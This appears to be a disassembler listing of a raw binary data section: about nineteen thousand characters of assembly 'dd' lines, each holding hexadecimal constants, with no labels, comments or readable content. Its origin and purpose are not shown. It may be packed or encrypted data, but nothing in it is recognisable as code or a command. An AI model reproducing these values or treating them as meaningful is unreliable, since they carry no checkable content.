		dd 5CF57470h, 0B4BB4AE0h, 0AE05DE98h, 64845409h, 9A800F0h
		dd 0B713F04Bh, 47B38400h, 0C302F92Ch, 341C7D59h, 1EC454D5h
		dd 6664014Eh, 60044FF4h, 6C07C0D4h, 0E4719F02h,	8E80AEFh
		dd 0C0F6B512h, 0CC692575h, 0B06E602Fh, 82A5A435h, 547C91A4h
		dd 613C3E80h, 7092C07h,	3D1DA8D8h, 0C4AFC0C3h, 6407A1E6h
		dd 9DDDFC1Eh, 0E52E16F0h, 0A360059Eh, 546583h, 0E4EC0490h
		dd 4F1C632Bh, 8440B3A5h, 2F5CB20Fh, 60AD5F0Ah, 73CD642Ch
		dd 0CA186895h, 70845D83h, 0F820E76h, 0B1403EA8h, 0B2F25C0Dh
		dd 96AFC0A8h, 8A1E5492h, 3FB0BFCh, 7265CD44h, 0CC1100FDh
		dd 0E0F54802h, 819D6CEAh, 9483CEFCh, 0BE13E83Ch, 244F22Fh
		dd 98CAF6BDh, 0BF0441FBh, 6DCC618Bh, 0C720DC64h, 9160125Fh
		dd 678A3CDh, 283D8466h,	0C4A39D28h, 1000DF6Eh, 244C10E9h
		dd 9818C238h, 0E8823B23h, 0FEAE7E80h, 0B67932ABh, 6820714Eh
		dd 13A91DC2h, 5DCEA6E1h, 0F0922DC8h, 0F85D3C50h, 5E030C54h
		dd 715CD093h, 7930CFA9h, 0EACF7B80h, 48BBCAF5h,	0AD137200h
		dd 0BF759465h, 98502Bh,	0E900B7BEh, 91FB1E74h, 0B95C9D5h
		dd 0B02CEA52h, 96BE34E8h, 0CA07A10Ah, 0A5009574h, 0D9FBEE7Ch
		dd 0E24109DBh, 68847242h, 297080D1h, 0CA09B798h, 0B646Bh
		dd 0F287CCCh, 225C1918h, 6A8278E1h, 183CE02Dh, 0B6B7310h
		dd 15E6095h, 0AD5764E8h, 0F4F4C0E6h, 0D54E0006h, 8FA58365h
		dd 443CDCA3h, 0A26B18EAh, 9575D811h, 40BC48CEh,	5461100h
		dd 96ED196h, 0EE63E10Fh, 178A074h, 2F248158h, 648B7C06h
		dd 0D8809710h, 3886C05Ch, 1796E63Bh, 70221C47h,	0E0AB5504h
		dd 331E4C30h, 96D84997h, 0D0A1E4EBh, 9B0198E5h,	0AD09F88Bh
		dd 8615D0A0h, 1E0581B7h, 703C6305h, 2CF931CBh, 54E46F17h
		dd 99ED40D3h, 2E3F200h,	5750054Bh, 5A2C2D69h, 0B07E3825h
		dd 30FCEAF8h, 0E0E278D2h, 30F12B89h, 2095029h, 407C59E8h
		dd 284FE4C4h, 1E239D1Ch, 53DC54FDh, 60957C90h, 754BF950h
		dd 99AF60Bh, 0AD8FEACBh, 183C40D1h, 0BDB9B838h,	0B5CA2EF3h
		dd 897F4238h, 0C8FEDB02h, 0DDFAE8h, 1BBD31BAh, 7B0423C4h
		dd 0E2C91C3Fh, 0D9F1FC28h, 4F4C26CCh, 4F5CEB25h, 2C40EFA0h
		dd 1DCE740Fh, 0C83A9130h, 721E89F4h, 649B0119h,	335D6A94h
		dd 44442E39h, 6B00D616h, 2BFBFF5Fh, 8E0150E6h, 0DF8A0B90h
		dd 647C7982h, 65E1BC05h, 0E890356Fh, 4060935Ch,	0A8BE995Ch
		dd 474EAC8h, 8A4410F0h,	64C5BB6Fh, 9D33D060h, 80C160C9h
		dd 9F631E68h, 2A74D800h, 1DF84066h, 0A0E86FAAh,	82FB76E7h
		dd 44FA9BCAh, 2866A600h, 0FA3452B0h, 65F0002Eh,	409D296h
		dd 0A4A04551h, 247B3DE1h, 73200C92h, 20C8B031h,	1D137816h
		dd 803A227h, 88E8CD2Ch,	0EAAF4B2Bh, 473A34EAh, 0C41CB831h
		dd 0A0E0CCEFh, 0BD4F1Eh, 614EDC98h, 314BACBFh, 0C95C0880h
		dd 0CF24BA93h, 386E043Ch, 6CED69C0h, 0EA14A614h, 841D9Ah
		dd 1E59ABC2h, 0C9E0FD79h, 5448C0D4h, 4730EAD3h,	4BF883Dh
		dd 0E804EBE3h, 245C6040h, 0EC9DF947h, 55E704CBh, 0C8C4D17Dh
		dd 62605FDCh, 1DF1EBE8h, 22703D9h, 0B5C16D1h, 8860908Dh
		dd 40096703h, 0CD693Eh,	0E0DFD498h, 332B02A9h, 18764A32h
		dd 3287041h, 8A282FE6h,	1AC8A8E0h, 9CD32002h, 91331Dh
		dd 30670454h, 0B0FE7Bh,	18B09033h, 0E0994AF2h, 469564B0h
		dd 0E9BE20ECh, 0D92C7225h, 8BFF04CCh, 2D60A92Eh, 6010CA02h
		dd 8009DD08h, 43269026h, 200A847h, 3D48DC3Ah, 95C100E9h
		dd 7F7B824Eh, 10135C22h, 74F46D8Ah, 0E80103ECh,	0A1E45FA7h
		dd 9089AC7h, 148431C3h,	131CB8A8h, 90A4DDDAh, 143A3F15h
		dd 33DE4060h, 0DDA111B7h, 5CE08085h, 8482FFE7h,	88395A73h
		dd 11093154h, 10E8BC1Fh, 0BCB6A94h, 4461847Eh, 7B03F872h
		dd 0DE3288E2h, 80C2C29Bh, 56C3C108h, 3AA8907Ah,	1D0ED6E1h
		dd 3564E522h, 3000C35Bh, 6641FFA2h, 4888198h, 26F98C23h
		dd 2C4527Ah, 77E19B70h,	0C74280DEh, 0C240FE16h,	7310426Eh
		dd 0C88C5ABCh, 1E254E24h, 0B93C7AFAh, 3DE28920h, 10BDF0EEh
		dd 82B6112Ch, 0AA366840h, 1268E497h, 0E050AD99h, 0FA603C80h
		dd 0D7577538h, 0C06D50DBh, 798A4F8h, 859FE90Dh,	0B1644010h
		dd 28001979h, 0FC7C2765h, 0ED211654h, 6385E8h, 51A03931h
		dd 556BCCBBh, 9BF52D0Fh, 0C94300F1h, 7B6C4813h,	5063019Ch
		dd 38E6E885h, 543F20A0h, 19912501h, 0B07C9BFAh,	0C849DF0h
		dd 6CF11011h, 9748F010h, 0AF9F07BFh, 0F5808918h, 308509CCh
		dd 0E7785B4Bh, 173F54A4h, 0F8878DEAh, 0F1F03875h, 0A1630069h
		dd 0AEB7E2CEh, 0F21FCC42h, 0B80A722Ch, 0FE2508E6h, 0AD293062h
		dd 8703509Bh, 0B0713806h, 535DA039h, 61183093h,	58AD4B0h
		dd 7C0C9EE0h, 0B8A034ABh, 0B11B600Fh, 0DCCC558Bh, 9719841Ah
		dd 35FE0688h, 0AD370729h, 60E1201Bh, 0DD4E2536h, 33AE8900h
		dd 8F2B580Ah, 0CCA95C99h, 6F312F00h, 0B989A719h, 7C9FB600h
		dd 0F03C6D25h, 85350C6Ch, 8A608DD6h, 90FFCD30h,	0F03C5D27h
		dd 705C6062h, 0CA04E777h, 8DE0AD1Fh, 85A19F41h,	38B09514h
		dd 4635B989h, 0C28A37Ch, 163DA818h, 223C0F25h, 0B21D2227h
		dd 2F7C00ACh, 0D4AB9C10h, 0FCC6DF0h, 146FC520h,	746AF212h
		dd 3D9900Ch, 8E308518h,	611040F3h, 62ADF037h, 69F21098h
		dd 73B11880h, 101D1455h, 38C57A62h, 3C008D1Eh, 0BC3C7D27h
		dd 0D1713902h, 0AD2F9Eh, 5176E075h, 0BD548770h,	0DE0367D8h
		dd 838FA042h, 25800708h, 89B7CC5Dh, 0EA890C10h,	78583163h
		dd 0B7810055h, 3CE286D9h, 723289FDh, 8265794Fh,	81BA97A8h
		dd 620208C0h, 0A3AF6880h, 76637750h, 38051A0Eh,	4A0A81E8h
		dd 91D071EAh, 490778D6h, 0F80728B0h, 0C4B17C7Bh, 8108523h
		dd 1D0A3318h, 2C64B0B5h, 0E2078521h, 0D474C88Fh, 0A46FB03h
		dd 45FD4555h, 206CF2D0h, 8A9857A0h, 0A82AB730h,	63741083h
		dd 0C7084869h, 0C4E96101h, 3DA48554h, 6D715884h, 0CC1A8081h
		dd 8305FA9Ch, 0FCF40E87h, 81459C4Fh, 0B16C8584h, 98B74A00h
		dd 0B5302360h, 288775DBh, 8C880993h, 10E94CB0h,	2F0A253Fh
		dd 0C689BF3h, 0BB20E41Eh, 1C993D3Ah, 6C00B904h,	0FB0F87A4h
		dd 0DB89070h, 0B6185569h, 470C2060h, 9F5A0E05h,	0F380841Dh
		dd 2A87AB20h, 49C43944h, 88823C79h, 30494785h, 180C31E8h
		dd 10101FB0h, 7C5CB6h, 9B49248Bh, 863AAFF7h, 1CEE7B26h
		dd 64316D92h, 3E110561h, 0F19C4055h, 4576D286h,	0E637FA03h
		dd 3ED46EF2h, 0AF007F11h, 0B2160927h, 0B7243188h, 340A00A1h
		dd 250A7071h, 0A8E8E065h, 3EE30886h, 555302D9h,	903D101Dh
		dd 0EA0BC080h, 0F500868Eh
		dd 72E3CC2Eh, 0E876BFF2h, 21A61E77h, 2887008Dh,	36A2C179h
		dd 2D1AE601h, 0DCF39BF7h, 0FCCCFC43h, 34AF1903h, 18AC8030h
		dd 4B9BE41h, 0B815250Ah, 31948DDAh, 0AFA080C7h,	0E3871D1Eh
		dd 0FC363A7Ah, 0A971489Ah, 11C0DC8Eh, 0B7CD3B07h, 2125E601h
		dd 87202AC2h, 289F59C5h, 0A55C4ADh, 89C83AEh, 41502FD3h
		dd 81241C90h, 8761F81Dh, 20870649h, 82419F92h, 0A04089E5h
		dd 19787E57h, 20109430h, 36E24DEh, 8A0B97E3h, 40009BF4h
		dd 0A4179573h, 0C0AEAFE8h, 256DDEBCh, 85149780h, 98437C6h
		dd 879C9649h, 10893D48h, 76FFF190h, 36140FA9h, 4600F42Fh
		dd 0AE1DAC03h, 8ACC3Bh,	0F686EB63h, 1DC1E7FBh, 0C78EF215h
		dd 0C01D1944h, 0B01E67F3h, 8DB25A00h, 0BDF26332h, 8B0F0091h
		dd 179637D4h, 0C301262Eh, 83F5F6BEh, 9FF08F59h,	1AE0618h
		dd 10F3D184h, 4C261701h, 3283F13Bh, 38AF7BE0h, 774210Eh
		dd 5907F937h, 0DBE841A9h, 0CC1FE153h, 0A258500Fh, 0A06C0034h
		dd 544AAD09h, 9CF41E2Ch, 841F80FBh, 9F383DDBh, 0DD1C2D06h
		dd 18307B9Dh, 78865A85h, 530DCBE7h, 10F7E484h, 7703EDFCh
		dd 6DD5C4Dh, 14705F38h,	32434FFh, 93048B87h, 81A2C483h
		dd 0B2C3280Dh, 890680ECh, 33E92414h, 55109A5Ah,	8199CDCBh
		dd 60BBF02Ch, 5F16D41Eh, 3407C714h, 23331C8Bh, 0E730CF3Ch
		dd 0C71853E9h, 0A60C3114h, 5C650633h, 44265893h, 0F791402Ch
		dd 0AE87D031h, 908C478Fh, 0C8473CD9h, 640C8B28h, 0E9E5A0C1h
		dd 20995241h, 1702885Ch, 48689EC3h, 4862260Ah, 0B0034DD3h
		dd 5AF081EBh, 1813C90h,	0E3BA525Eh, 1E83802h, 148B28D6h
		dd 1F681935h, 8D34DF6Dh, 0C8B209Bh, 0F7A0630Ch,	5AD3298Eh
		dd 215BDE60h, 0DFE45EF7h, 61D5E915h, 0E2ED0EBCh, 2923E1CCh
		dd 0B9705DEFh, 0D2C9CA6Eh, 8B9C1EABh, 80DDD504h, 7D40E524h
		dd 4D7F3B99h, 0CFB0CD9Dh, 0F5A772A9h, 4711023h,	860E5C1h
		dd 0B4C27F5Ch, 0EA01068Bh, 5A4C32E9h, 3B69B906h, 40FA58C3h
		dd 893C562Bh, 956319E6h, 0BFFCD6BBh, 2A0EDD37h,	7F48206Eh
		dd 5FFD010Fh, 4B2F2559h, 31D6DA43h, 0CEE93F5h, 33556808h
		dd 8E443037h, 8172EFh, 0C840DD6h, 4C7835Dh, 44188748h
		dd 0AE3168D2h, 3E083905h, 0B8F18100h, 4AED0A07h, 0E8D4CA89h
		dd 0BD717394h, 9543D46Fh, 0DB72B729h, 55609870h, 1908EE57h
		dd 8A0BDA23h, 0D545F8CAh, 0E9FD8906h, 0AC40E22Ah, 4C576695h
		dd 8001401Eh, 0D7F651E7h, 0DFD1EFD0h, 0F9FAC7E4h, 0E2C8FDCh
		dd 4F8282Ah, 0E9525B80h, 50D8D731h, 81EB760Ch, 505A24ADh
		dd 4F9295F4h, 8B985B68h, 0C15F6100h, 8102E7h, 0E15567CFh
		dd 42C4681Fh, 7E83CDAAh, 0D33B01B9h, 2FFC0951h,	0E1CA0329h
		dd 602AA25Ch, 0A3E9D906h, 0CB2662F6h, 95900868h, 0F8918E3Ah
		dd 55E28AB9h, 5D409468h, 1C3CBB53h, 8D18E921h, 42498F2Eh
		dd 8F8389F2h, 779F74FFh, 5C10EC58h, 0E99C6654h,	302FB536h
		dd 3EE383CCh, 0FF37818Eh, 0B4806F03h, 293D9644h, 0FD30C87Dh
		dd 0EABB3240h, 23FE3D7Eh, 4F14310h, 0C0B60F5Ah,	94C8583h
		dd 14F757A1h, 0A85F6D91h, 817DB0E3h, 2035CB02h,	43FA2931h
		dd 46C2D253h, 83844413h, 488716CCh, 67B3005Ch, 0C052E380h
		dd 0E97A08EBh, 5C29EA6Ch, 60C37A31h, 0EE014738h, 7EDE875Dh
		dd 9C4016D2h, 655EEB81h, 0E4017FD2h, 2112C1D3h,	315C1A74h
		dd 4382C22Fh, 0C1A03520h, 0F7B7241Ch, 27AC681Ah, 51A40115h
		dd 0D452AEE9h, 1C828966h, 0E9540CD6h, 5912211Dh, 383A8893h
		dd 2CD81DF3h, 0A5B4E90Ch, 0BE562858h, 0F2010112h, 0E089505Eh
		dd 830B4105h, 898D47E8h, 6C43CB13h, 2B5A21FAh, 94E91F09h
		dd 0F61D99FAh, 6CC2CAD5h, 8CBEA1EAh, 0E20D6E80h, 91285826h
		dd 0A7F3013Dh, 1C8BD830h, 6B19B833h, 246A372Ch,	0B303531Ch
		dd 885150FBh, 0F1E893DDh, 0BE5230CBh, 234A3C1h,	0F5E1120Dh
		dd 55AF005Eh, 21249D31h, 511F5D98h, 0C1693C68h,	29ECBB80h
		dd 0A4E939BDh, 0EDB901D3h, 312C6A47h, 0CDE330D9h, 0F9933FB0h
		dd 833B6A4h, 0EB4C2605h, 33F40CE4h, 2472F21Dh, 29F67603h
		dd 0F94F5AD7h, 1E874635h, 832BB652h, 107E507Dh,	4EFC119h
		dd 0B2600306h, 0D86412B3h, 0B66B0042h, 3187BFC9h, 0A855C2CCh
		dd 655C814Eh, 127523B9h, 0BF41F921h, 35316802h,	52731F33h
		dd 106ADCD9h, 8A6E9E08h, 86F12954h, 347D9AE9h, 3A01BA7Ch
		dd 0EAC138F8h, 46CC8107h, 0DD7A05B8h, 8C539D68h, 0A500BE8Ah
		dd 813A9F55h, 3B6869C6h, 0E6031C03h, 7A3B7912h,	92841DE5h
		dd 0DAB10421h, 201618DDh, 48C177AEh, 6A7E4931h,	10D88152h
		dd 64B073D1h, 0E5FAA20h, 0B22DD8F7h, 253240FEh,	4AA66ACBh
		dd 78A80500h, 36E9BD99h, 5A2CCB7Eh, 3F559700h, 59F86993h
		dd 0C5CF8354h, 8BAE99A4h, 48EDF559h, 6A382EA2h,	0CC6066Fh
		dd 56AC10h, 7475B850h, 0E9972ED1h, 0DB780524h, 4492CC67h
		dd 2000931h, 763E4CCFh,	0E29814Ch, 867B1748h, 7B2373FBh
		dd 0F5E06056h, 0EC885066h, 246C8A0Fh, 0A03EAB02h, 0F99DB96Fh
		dd 32A27ABBh, 0C6D18A29h, 74AA4913h, 0DA005838h, 5B67EA80h
		dd 0C90FB753h, 458EB450h, 9C826DCCh, 0E2C001DBh, 63CAEC04h
		dd 0F2EAFE73h, 0D5303817h, 480B8552h, 0ECBC1493h, 0CEDCFD44h
		dd 0FAB2822h, 45110208h, 6C2934B3h, 0A229308h, 100824CBh
		dd 92ED8A19h, 2C7732F2h, 2909D010h, 454F0F2Dh, 8A56F715h
		dd 0B802CC33h, 0F6372B05h, 62E87E01h, 2C8B0E2Dh, 0C0ECCF93h
		dd 550B6EC3h, 2931BDECh, 0C6C5145Ch, 9201B641h,	5D989928h
		dd 5459F868h, 2364D391h, 570DCE81h, 0FEE1D000h,	8004C960h
		dd 732859C1h, 98D69BC8h, 0EE7FE80Ch, 3B1A4082h,	0DBEB54DFh
		dd 9A643F68h, 0E57E2CD8h, 0B25D0842h, 5C3869EAh, 0E2538049h
		dd 0E3A0241Ch, 94CA2128h, 333306EBh, 6093122h, 0A384C3E9h
		dd 83207FF2h, 48E4C20Fh, 49BE68AAh, 72171F26h, 0D28637E1h
		dd 4EC62DC2h, 3EC3C982h, 63BF0FD8h, 92E9490Bh, 61379A4Ah
		dd 1008039h, 679858C7h,	53C6489h, 8844D284h, 5F9CE689h
		dd 0BA865DA5h, 74ACCD28h, 262C0AC5h, 71ADE828h,	8BCECEEFh
		dd 48A85DF6h, 0F90FBD55h, 0C6252C56h, 3978DABCh, 0C02CC8FEh
		dd 0E51162Dh, 0C5095B42h, 59EE9A02h, 0D202D3E0h, 0FFEDA492h
		dd 6B5E0D26h, 0AD325400h, 98D6F70Ch, 5022E74Dh,	3ED00429h
		dd 7D9D272Ah, 48AE90B2h, 0D41CEAC1h, 8458BAF6h,	8820BC51h
		dd 46794D6Eh, 838D8842h, 100480Ch, 962CD4Ch, 63302C5h
		dd 0C1063175h, 0BB685C0Dh, 0E28F4D13h, 18203CE6h, 0D1400011h
		dd 0D44305E8h, 0D9FA614Eh, 5CC0E564h, 400303E4h, 0B2A8338Ah
		dd 22C4F91Ah, 47C46488h, 71D7512h, 0F8FE98E2h, 49A43A68h
		dd 4B774F49h, 49E4988h,	12E95D38h, 80265FBAh, 0E816FAF5h
		dd 0C3F8B22Dh, 2ADBB08Ah, 81250701h, 0EBFC7FDCh, 0DBF6338Dh
		dd 0CBC16328h, 21683E1h, 0F75BDC88h, 5E4C031h, 0FC8CECF8h
		dd 50C27EF4h, 0F7A5EBE5h, 500B0262h, 3820775h, 87054FD0h
		dd 20358744h, 0BE06510Bh, 666F1F13h, 595465AFh,	518343D8h
		dd 0EEFEDAE9h, 49FEF6A3h, 1664AED8h, 0F628866h,	0E718CE6Ah
		dd 0CAB8351h, 30C34E4h,	3D46E92Bh, 0C6FE281Dh, 0CE7170C9h
		dd 943AF6ECh, 4C2D00A7h, 12069E4h, 8358C11Ah, 66F129B2h
		dd 4DE979D2h, 0C1100B16h, 2C891848h, 8073701Ah,	171D252Dh
		dd 0DF404683h, 108D77Ah
		dd 0D98F8h, 5BF51490h, 0F702E1C1h, 0F2E9D112h, 0FE019F43h
		dd 1706C75Fh, 90D9848h,	79E15D7Eh, 0DA0B17ABh, 245F37A4h
		dd 17E020B4h, 67A5A22h,	8D30A8B5h, 633BD002h, 63C331FAh
		dd 0C63D9838h, 22C75C85h, 4C016554h, 970505D9h,	13CF122h
		dd 4167DBD8h, 51E9D874h, 0C67C3937h, 8041C6Dh, 0F7921984h
		dd 66CF9453h, 0C643851h, 2366B800h, 21256B27h, 6AE2E2Ah
		dd 8342655h, 5A097B18h,	0DE4E0759h, 3B49B60Fh, 4B65CC5Bh
		dd 82A110F8h, 48045989h, 7F538855h, 4AC80518h, 0B765BCCh
		dd 0EE0977D8h, 7BF61803h, 27059BBFh, 0B09C84F1h, 890957D1h
		dd 0B08468E7h, 4A4BA95h, 0E93FEA39h, 369BA19Bh,	48D65275h
		dd 9E9259D9h, 5EBDF758h, 0B65C8383h, 7017447Bh,	2677AB1Dh
		dd 1132F8A8h, 42ED557Fh, 4457428Dh, 68500237h, 42C660C8h
		dd 7202CA41h, 0A7979D2h, 1B52784Ch, 0B01737A8h,	7BB32C79h
		dd 7D38222Ah, 385CC755h, 4D1D942Dh, 56E01063h, 424FE90Ah
		dd 0D671A0E8h, 0BBD0078Eh, 8157A048h, 421CD1F2h, 53DF4969h
		dd 0BA60A903h, 7CBE86Bh, 614B2425h, 0E29F0E05h,	0DA21EA20h
		dd 4A12425Bh, 0E6D22BE9h, 9D3451E5h, 7EAA83h, 0A7685358h
		dd 0E92E5011h, 2E311C2Dh, 0EA9CE981h, 0C4A1CA9Ch, 29391CADh
		dd 5E5D0149h, 3C450C68h, 0C04DCF0Eh, 0E18164E2h, 8F6551BCh
		dd 14EBC9D8h, 987CF119h, 0E045F549h, 0B93C9EE1h, 5D54550Ah
		dd 12884857h, 0B274C802h, 37C92118h, 2465F624h,	128E2BB8h
		dd 0A3789151h, 105C6804h, 9049CBA8h, 0F2965D78h, 131DE150h
		dd 0BB623CFh, 4F75F17h,	0ECCC7F1Eh, 2AA17EB8h, 4A850AD6h
		dd 0C3661047h, 7494313Dh, 1600BD0Bh, 29ED1DEBh,	89095BDFh
		dd 42C1E9F9h, 0FB434014h, 30A4220Dh, 69B145FCh,	39881416h
		dd 0F65D5DA3h, 3DEA83B1h, 6AE91F14h, 214741A4h,	0D91344C3h
		dd 0BD01786Ch, 604CE4DCh, 5E5C116h, 0F034CAC1h,	54E392A8h
		dd 0B9588B1Dh, 5D68C3EDh, 3A4BE294h, 57E10051h,	9179D7BFh
		dd 9FE92E44h, 5453E134h, 2D4265Bh, 883D18BFh, 32894015h
		dd 7191067Dh, 3BD7A6E9h, 0E7B5C281h, 0C18F29AAh, 4E0C123h
		dd 7C0B0858h, 6193251Fh, 0AF73507h, 0FAC631C3h,	0C957C358h
		dd 0B028348Bh, 8EFB0186h, 0C0063C5Dh, 0E9C0B70Fh, 78FD69BFh
		dd 0C95364A4h, 504EF56Bh, 36C968FBh, 65F7CD92h,	6660FA8Fh
		dd 433EB983h, 9BA27E4h,	1CA9B917h, 5D4B901h, 2968878Bh
		dd 0ACD2A695h, 0F79131E3h, 0A14DDDDEh, 0AB4FFC3Dh, 339061F1h
		dd 631EE9Bh, 305C0D25h,	0B4D5F5ABh, 0A194A16h, 2E745202h
		dd 545009D8h, 7E676D82h, 0C0EAC102h, 0B4E51E2Dh, 716B808Bh
		dd 295A3098h, 8759CB0Ah, 0C90761Ch, 0A741EE24h,	0D570D812h
		dd 0E1A52790h, 84C9B6A4h, 68038854h, 0E72A57D4h, 0BF0EC28Ah
		dd 1871D11h, 78E30BBAh,	6AFAD560h, 2EBD065Fh, 6CD04223h
		dd 6137B60Fh, 528B3B2h,	81D99354h, 2D450641h, 0C17E37A9h
		dd 59DAF3F0h, 25727B9Ch, 0F990D82Ah, 250732B8h,	0E0D164CCh
		dd 0D7D48CF4h, 60518862h, 1471E21Ch, 0DE5A10DCh, 98080121h
		dd 0EEC00364h, 0BC9B8002h, 93A0062Eh, 33B088h, 0CA81DAF7h
		dd 0CE05103Ch, 53A26843h, 0BBF638Ch, 5926485Eh,	1FEF2F60h
		dd 0F6A96D15h, 7505038Eh, 2A1DB411h, 0C8B10C4h,	508768C2h
		dd 0B1A96F8Dh, 0A6D874D3h, 21ECD962h, 61D78EEAh, 6B087ED2h
		dd 0B437ACF8h, 6F7CE29Bh, 8A78020Bh, 3ED0A34h, 0F3BBD9ACh
		dd 835BADD9h, 58E78816h, 267AF380h, 90C0806h, 6EA06602h
		dd 0D7300BB2h, 0C0145AF0h, 4A8503E7h, 38058600h, 266ECC3Eh
		dd 209FF001h, 604C9808h, 0DBEB774Eh, 550654Ah, 3AC7E7E5h
		dd 0BD7257ADh, 5E88E477h, 8DA51681h, 78528210h,	0E073EE47h
		dd 20C1094h, 59C80102h,	8E40C129h, 699311EFh, 0AC14DA3Ch
		dd 3EE1397h, 29060905h,	5E81B216h, 0ED30C283h, 72E4600Dh
		dd 32E6805Bh, 0D8ECF6A1h, 5AFE2CF6h, 0E1907454h, 594CCFE4h
		dd 85A07E66h, 832AB252h, 30278B28h, 16EE8BF8h, 22E924F5h
		dd 0A4BE80A0h, 4E20310Eh, 81D6F700h, 6F1DC5CEh,	0E9461554h
		dd 13EFE35h, 0DFB25925h, 0ECE96048h, 349359D7h,	3ADFD154h
		dd 0D3291486h, 0CD0D7C5Ah, 1268CB5Dh, 816BF04h,	3FC1FD00h
		dd 5FE94B05h, 4976092Eh, 95F22380h, 2905A277h, 0D18959CAh
		dd 9E5CF588h, 0E82527F5h, 68479196h, 753E3830h,	0E31AE424h
		dd 1DCEE9C3h, 0C9FA895Fh, 0E0103F44h, 0D3302EA9h, 69C40C6Eh
		dd 0B054984Dh, 5303A183h, 5D25E16Ch, 7198A546h,	5A65692Eh
		dd 4B1AB4C0h, 56520743h, 97E54CBEh, 98F2F5BDh, 7A2EE935h
		dd 5A9C3532h, 0E59EA0Eh, 0EE68C2D0h, 58D2A376h,	340A5F1Dh
		dd 265DA42Bh, 897DCA5Dh, 731D42EAh, 0A56884A6h,	293A343h
		dd 7F503C5Ah, 0F213C0D1h, 0E96D14CBh, 0F04C406h, 81307C29h
		dd 392C8BE8h, 3105925Eh, 3A9305E9h, 71C7A85Bh, 2D201C43h
		dd 37648308h, 14E5D829h, 500F9507h, 8147A009h, 763BB1F1h
		dd 0BA0C823Eh, 0F81B9543h, 73CD249Ch, 0A1CC6922h, 2E505120h
		dd 6277875Eh, 0D0E83CD2h, 5080C6D8h, 7DF00B8h, 0EA05189Fh
		dd 67036042h, 5258C531h, 5A86CD89h, 0E94C9C4Dh,	9F82C5CCh
		dd 92556C2h, 59A7E2FBh,	0F4554410h, 1D0C5D18h, 206B900Ch
		dd 4F0370DCh, 105EB67h,	8DEEF2DEh, 14170C08h, 1A2D20CAh
		dd 0BC9043C5h, 0BA525700h, 0F5282DB4h, 4CB0D969h, 4E982F71h
		dd 3829270Bh, 8A1A0062h, 1214C6E4h, 1E5AD789h, 0B2698140h
		dd 756DE970h, 0B6132066h, 0DA601764h, 41BBA198h, 9FF83DF1h
		dd 6082E716h, 66C9405Bh, 2EF2665h, 3E2400F6h, 0CA017619h
		dd 580880D0h, 83C1274Dh, 92D78832h, 0CA0FE1FCh,	932DAD00h
		dd 3B66431Dh, 0F40145Dh, 4A9F0559h, 0C53D5872h,	0DD68510Fh
		dd 215F6056h, 1C178C0Ch, 0CFC05EE9h, 285951BAh,	2915B2Bh
		dd 2A410609h, 49E3D2F7h, 0EF04A4BEh, 1A6D6A5h, 2CE9AF80h
		dd 82089626h, 1C947F2Eh, 6872AA80h, 34C15192h, 0DA578E7h
		dd 9B1DD481h, 242907C8h, 284986CFh, 0EAD80F8h, 64311795h
		dd 0A1B1F8C8h, 241967DAh, 81CB365Eh, 122DE986h,	0AAA1F97Ch
		dd 930128F6h, 311F1D06h, 2109FF29h, 813A2CBEh, 0EA8044B2h
		dd 647E5630h, 0D45A40F4h, 66D788DAh, 0E3C51E94h, 0E1867DD0h
		dd 80D112F6h, 0C8E609C1h, 81592AA5h, 7C4E6C86h,	5E54808Ch
		dd 0BE763D68h, 78256225h, 0BCEAD0Fh, 0B53C2FE9h, 93E61ED6h
		dd 206C4D7h, 30F66845h,	28CA2FAAh, 5CDC02BBh, 0EFC17ADDh
		dd 0E2989743h, 34FD6EAh, 0F3C5B817h, 16987002h,	0F659406Ch
		dd 40DD39Ch, 0A72D5EFAh, 3BD9422Ah, 509412E7h, 2C9E6B0h
		dd 571137E4h, 0CCC3E9C1h, 0A7D65A0h, 8123F64h, 0F9F656C0h
		dd 0EEC1A05Eh, 274D14D2h, 0EB41AF4Eh, 14E90800h, 4279B984h
		dd 58037D2Eh, 0D897BA5Bh, 51BD021Fh, 31013B4Dh,	0D47941FFh
		dd 36643373h, 0DC5E0D3Fh, 3E3194E0h, 5D9344C9h,	4011CE38h
		dd 0B6072D7h, 7A7E4383h, 0DBF70E3Bh, 0D58DEB87h, 450E309h
		dd 0B1924615h, 8771D39Eh, 0D0215C00h, 5A590992h, 0C00B8007h
		dd 0B24A840Fh, 77FF13B8h, 7CC20028h, 3155D55Eh,	5813F39Ch
		dd 9C4AD9A6h, 0BC0BBAFDh, 10D7D45h, 0E2C14A31h,	0A95ECB70h
		dd 3E923197h, 25E3B233h, 2410966h, 4C3D9FFh, 0EFB4B04Eh
		dd 792B5804h, 0BC80F329h, 48786AEBh, 0FB341FF2h, 0E90803E8h
		dd 6227853Fh, 1B3B1A5Ch
		dd 0B7C451h, 0C9BF5F29h, 32200664h, 0CF8BEA02h,	0BA6B509Dh
		dd 0F82159A2h, 2245E1h,	6E8C1h,	10289435h, 0F305484Bh
		dd 459D621Dh, 0B0433F42h, 0A82C1E0h, 714BD904h,	25E82DDCh
		dd 0CD8BE363h, 0B06D365h, 137ADE60h, 95EF789h, 26D96BF5h
		dd 3F280794h, 3D54B4D9h, 0F4BF9686h, 620BD227h,	744C5355h
		dd 0C6366025h, 49B69C42h, 76CCE81h, 0C89F200Ah,	6514D9FFh
		dd 88DFA8Ah, 0A414041Ch, 0FFE568C4h, 55696110h,	0FBFCBE03h
		dd 0EED1CD7Dh, 12A25539h, 0A4DD0018h, 31A146F8h, 0F57D648h
		dd 0E16985F6h, 151CE940h, 1F805154h, 3AB4881h, 0E9464E36h
		dd 212C7D73h, 841798DDh, 283BA839h, 306EE90Fh, 2A5E29BCh
		dd 0D2595852h, 82102669h, 0BC6439C2h, 5C7A3C32h, 15ED6E4h
		dd 3344F8D6h, 0A980C301h, 48135DD7h, 3001778h, 0CD35F32Dh
		dd 762FE9CFh, 35921423h, 0B254F8A0h, 27E066EAh,	6DFA5855h
		dd 0A75F1879h, 4BBD0C48h, 0D858F62Eh, 3094537h,	5AE7055Ah
		dd 0EDEB61DBh, 5B1899CDh, 29110232h, 0A2D60CFh,	348BCCA8h
		dd 0E9C3FB91h, 68E11F17h, 0BCC6A5EEh, 52301800h, 0F3BD5576h
		dd 1DC8000Fh, 0F581DDF7h, 6E287419h, 553D085Ah,	0EEC26052h
		dd 3B7B5B64h, 8B502920h, 9157D45Ah, 3C625E26h, 0FE0C9FD0h
		dd 8C9CC3h, 0D4F6CCFEh,	20CECC0h, 691F480h, 0E7301C42h
		dd 5BF80E58h, 0A1C3D33Dh, 87D302DDh, 3A361E40h,	816B5916h
		dd 106269C1h, 8404CC9h,	48444E6Ah, 0C20B76Bh, 0A84E5F76h
